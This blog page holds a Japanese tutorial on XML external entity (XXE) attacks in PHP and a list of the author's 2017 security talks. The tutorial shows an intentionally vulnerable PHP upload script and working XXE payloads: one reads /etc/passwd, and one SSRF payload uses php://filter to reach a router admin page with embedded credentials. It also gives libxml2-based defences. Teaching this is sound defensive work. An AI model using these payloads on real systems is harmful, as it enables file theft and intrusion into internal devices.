2017年12月25日月曜日

PHPプログラマのためのXXE入門

この日記はPHP Advent Calendar 2017の25日目です。前回は@watanabejunyaさんの「PHPでニューラルネットワークを実装してみる」でした。

OWASP Top 10 2017が発表され、ウェブのセキュリティ業界がざわついています。というのも、2013年版までは入っていたCSRFが外され、以下の2つの脅威が選入されたからです。
  • A4 XML外部実体参照(XXE)
  • A8 安全でないデシリアライゼーション
これらのうち、「A8 安全でないデシリアライゼーション」については、過去に「安全でないデシリアライゼーション(Insecure Deserialization)入門」という記事を書いていますので、そちらを参照ください。
本稿では、XML外部実体参照(以下、XXEと表記)について説明します。

XXEとは

XXEは、XMLデータを外部から受け取り解析する際に生じる脆弱性です。具体的には、XMLの外部実体参照により起こります。
ここで、XMLの実体(entity)は以下のように宣言するものです。例はWikipediaから拝借しました。

<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
このようにして宣言した実体は、XML文書内で、&greeting; &external-file; という形(実体参照)で参照します。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
<foo>
 <hello>&greeting;</hello>
 <ext>&external-file;</ext>
</foo>
上記で、external.xmlの中身が、「Hello World」だとすると、上記のXMLの実体参照は以下のように展開されます。
<foo>
 <hello>こんにちは</hello>
 <ext>Hello World</ext>
</foo>
ということは、XMLを受け付けるプログラムに外部実体宣言を含むXMLを食わせれば、ウェブサーバー内の任意のファイルを読み込み表示するという、あたかもディレクトリトラバーサルのような攻撃ができることになります。これがXXEの基本形です。

サンプルプログラム

ここでXXE脆弱なサンプルを紹介します。年賀状の季節ですので、住所録を想定して、XML形式ファイルで個人情報をアップロードして登録するプログラムを用います。PHPではJavaに比べてXXEを発現する条件が厳しいので、一番ありそうなケースの一例として、パッチのまったく当たっていないDebian 7 (wheezy) で実行しています。

まずはXMLファイルをアップロードするHTML。
<form action="xxe.php" method="post" enctype="multipart/form-data">
  <input type="file" name="user" />
  <input type="submit"/>
</form>
XMLを受け取り登録する(実際には登録内容を表示するだけ)のプログラム。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
正常系のデータ例
<?xml version="1.0" encoding="utf-8" ?>
<user>
  <name>徳丸浩</name>
  <address>東京都港区麻布十番</address>
</user>
この場合の表示
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: 東京都港区麻布十番<br>
</body>
ここで攻撃例として、以下のXMLファイルをアップロードします。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
  <name>徳丸浩</name>
  <address>&pass;</address>
</user>
表示は以下となります。
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
【以下略】
/etc/passwdの内容が表示されていることが分かります。

XXEの発現する条件

ところで、なぜこのデモにDebian 7を用いたかというと、Debian 7で提供されているlibxml2のバージョンが2.8.0というXXE対策のされていないバージョンだからです。libxml2の2.9.0以降は、外部実体をデフォルトでは読み込まないようにするという制限が加わり、上記の脆弱性デモは成功しなくなります。Debian7でもlibxml2に最新のパッチが当たっている環境では大丈夫です。
Debianに限らず、CentOS(6以上)、Ubuntu(12.04以降)でも全てのパッチが当たっていれば大丈夫です。つまりPHPでは、XXEは基本的に「プラットフォームの問題」といえます。

新しいlibxml2でもXXE脆弱にする方法

では、libxml2が2.9以降なら絶対安全かというと、アプリケーションレベルで外部実体を読み込む設定にしていれば、当然脆弱になります。上記のスクリプトだと、以下の追加によりそれは可能です。
$doc = new DOMDocument();
$doc->substituteEntities = true;          // この行を追加
$doc->load($_FILES['user']['tmp_name']);

その他の攻撃

先程の攻撃スクリプトでは、ウェブサーバー上のファイルを読み出す攻撃を紹介しました。これ以外にhttp:等のURLを指定して、別サーバーの情報を読み出すという攻撃ができます。この攻撃は一般にSSRF(Server Side Request Forgery)と呼ばれ、外部から直接アクセスできないサーバー・機器への攻撃用の踏み台として用いることが可能です。

攻撃シナリオとして、ある人が自宅のPCを外部にウェブ公開している場合に、そのサイト経由で自宅リモートルータに侵入する実験をしてみます。
この場合、外部実体宣言として以下のようにすればよいわけですが…
<!ENTITY router SYSTEM "http://192.168.0.1">
実際の攻撃では、以下の2点の課題があります。
  • ルーターの認証を突破する必要がある
  • 外部実体が展開された結果が正しいXMLになっている必要がある
この2点を解決する方法ですが、まず認証の突破は、ルーターのパスワードがわかっていれば(あるいは辞書攻撃により)、URLに埋め込む形で以下のように指定することができます。ユーザ名: admin、パスワード: PASSWORDを例として想定しています。
http://admin:PASSWORD@192.168.0.1/
次に、XML形式としての妥当性ですが、PHPでXXE攻撃する場合、以下のようにPHPフィルタを用いてBASE64エンコードするという技が知られています。
<!ENTITY pass SYSTEM 
"php://filter/read=convert.base64-encode/resource=http://admin:PASSWORD@192.168.0.1/">
これを用いて、自宅のAtermを攻撃してみました。詳細は省略しますが、上記手法により、無線LANの事前共有鍵を盗むことができました。ウェブサーバーを踏み台として、外部からは直接アクセスできないルーターの管理画面にアクセスができたことになります。
この種の攻撃を防止するには、XXE脆弱性の排除は当然として、ルーターのパスワードを強固にする事が重要です。これは、DNSリバインディング攻撃にも有効な対策です。

対策

PHPの場合XXE対策は、既に述べたように、libxml2をバージョン2.9以降にするか、対策パッチを適用することです。Linux上にウェブサーバーを設置している場合は、最新のパッチがあたっていることを確認して下さい。
加えて、アプリケーション側で明示的に外部実体の読み込みを許可していない必要があります。

今まで説明していない対策として、以下の関数呼び出しによる方法があります。
libxml_disable_entity_loader(true);
これですと、libxml2のバージョンやアプリケーションの他の設定に関わらず、常に外部実体の読み込みが禁止されます。単独で安全な設定になるので推奨したいところですが、強力過ぎて副作用もあります。この設定にすると、サンプルスクリプトの $doc->load() メソッドの呼び出しもエラーになってしまうのです。つまり正常系が動かなくなるケースがあります。

これに対応するには、loadメソッドを避け、別の方法でXMLファイルを読み込んでから、その文字列をloadXMLメソッドで解析します。下記の例では、file_get_contentsで読み込んだXMLファイルをloadXMLメソッドで解析しています。
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$xmlstr = file_get_contents($_FILES['user']['tmp_name']);
$r = $doc->loadXML($xmlstr);

まとめ

PHPにおけるXXE脆弱性について説明しました。
PHPの場合、libxml2を最新にするだけで防げるので、XXEがOWASP Top 10に選入されたと知って「なぜ今時?」と思いましたが、Javaの場合はデフォルトでXXEが有効になるので、PHPはたまたま安全なケースが多いということなのでしょう。ただし、仮にXXE脆弱な場合、PHPは攻撃のバリエーションが増え、危険度が増加する可能性があります。
ウェブサイト運営という観点からは、libxml2を最新の状態にするという対策で通常は問題ないかと思います。一般に公開するソフトウェアを開発する場合は、libxml2が古い環境を想定して、以下のいずれかによる対策をお勧めします。
  • libxml_disable_entity_loader(true); を呼んでおく
  • libxml2 2.9以降必須という条件をドキュメントに明記する

2017年12月14日木曜日

2017年に登壇した勉強会を振り返る

この記事は #ssmjp Advent Calendar 2017の14日目です。昨日は、tigerszkさんの「ssmjp2017 ~今年一年の振り返り~」でした。明日は tcsh さんです。
ssmjpにちなみ、2017年に登壇した勉強会についてスライドとともに振り返りたいと思います。

セキュリティとUXの◯◯な関係

アレなタイトルですが、副題も「すれ違い続けた二人の運命の邂逅~セキュリティとUXは本当にトレードオフなのか」となっております。

日時: 2017年6月9日 20時~
場所: ヤフー株式会社 紀尾井タワー コワーキングスペース LODGE
講演タイトル: セキュリティ対策の都市伝説を暴く

登壇者は、BA(当時)の太田良典さんとヤフーの日野隆史さん、私でした。私からは、「セキュリティ対策の都市伝説を暴く」と題して、UIを損なうセキュリティ対策が本当に必要なのかというお話をしました。



聴講された方のブログ記事をいくつか紹介します。

セキュリティ・ミニキャンプ in 近畿 2017(神戸)

神戸のミニキャンプにて併催されたサイバーセキュリティセミナー in 神戸の特別講演を依頼されたものです。Webアプリセキュリティの基礎をというご要望でしたので、そのような内容になっています。

日時: 2017年6月30日 13時~
場所: 三宮研修センター 6階605会議室
講演タイトル: Webアプリセキュリティの常識




YAPC::Fukuoka 2017 HAKATA

YAPC::Fukuokaでゲスト講演を担当しました。この時は何をしゃべるか悩み抜いた末、40分で技術的にまとまった話をするのは無理、ということから、最近のウェブサイト侵入の事件をデモつきでひたすら紹介するというネタに走ったところ、なんとベストスピーカー賞を頂戴してしまいました。

日時: 2017年7月1日 10:00 〜
場所: LINE Fukuoka株式会社
講演タイトル: ウェブセキュリティの最近の話題早分かり




OWASP 名古屋 第1回ローカルチャプターミーティング

OWASP名古屋チャプターの記念すべき第1回チャプターミーティングで講演させていただきました。ウェブセキュリティの基礎というご依頼でしたが、少しネタに走りまして、たにぐちまことさん著の「よくわかるPHPの教科書」に含まれる脆弱性を題材にして、一通りのウェブアプリケーション脆弱性を説明するという趣向でした。具体的には、SQLインジェクション、CSRF、XSS、ファイルアップロードの問題について、この書籍の脆弱性(初期の版のもの)を使って説明しています。

日時: 2017年9月2日
場所: 愛知大学名古屋キャンパス(笹島)  講義棟8階、L802教室
講演タイトル: ウェブアプリケーションセキュリティ超入門





若手エンジニアのためのセキュリティ講座 - サポーターズCoLab

サポーターズさんの依頼により若手エンジニアのためのセキュリティ講座という講演を実施しました。後半では、セキュリティエンジニアのお仕事、徳丸自身のキャリア、いつまでも現役エンジニアでいつづけるために…などのお話をしています。

日時: 2017年9月9日
場所: 渋谷スクエアA
講演タイトル: 若手エンジニアのためのセキュリティ講座




PHPカンファレンス2017

PHPでは例年講演させていただいておりますが、今年はセキュアコーディングのお話をしました。簡単に要約すると、「従来は、外部からの値は信頼できないものとして扱うべきという原則が言われていたが、ソフトウェアは複雑なので、どの値が外部由来かどうかは簡単に判別できないので、内部・外部に関わらず信頼できないものとして扱うことを原則とすべきではないか」というお話です。

日時: 2017年10月8日
場所: 大田区産業プラザ PiO
講演タイトル: 著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則




デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう

弊社(EGセキュアソリューションズ株式会社)で実施した勉強会です。デバッガを用いてWordPress本体やプラグインの脆弱性を追っかけることにより、脆弱性の中身を深く知ろうという趣旨のものです。

日時: 2017年11月15日(好評のため 11月29日に同内容で再演)
場所: EGセキュアソリューションズ株式会社
講演タイトル: WordPress 本体とプラグインの脆弱性をデバッガで解析しよう



ブログ枠で参加された方のブログ記事を一部紹介します。


2017年11月の#ssmjp

以前「秀丸マクロを生成する秀スクリプトという言語処理系を作った」という記事を書きましたが、その内容について講演させていただきました。

日時: 2017年11月30日 19時~
場所: ヒカラボ (レバレジーズ本社( 渋谷ヒカリエ 17F )
講演タイトル: 秀スクリプトの話



秀スクリプトのデモ動画を貼っておきます。


こちらは、秀スクリプトでスクレイピングをするデモです。


ということで、今年も多くの勉強会で登壇させていただきました。来年もよろしくお願い致します。

フォロワー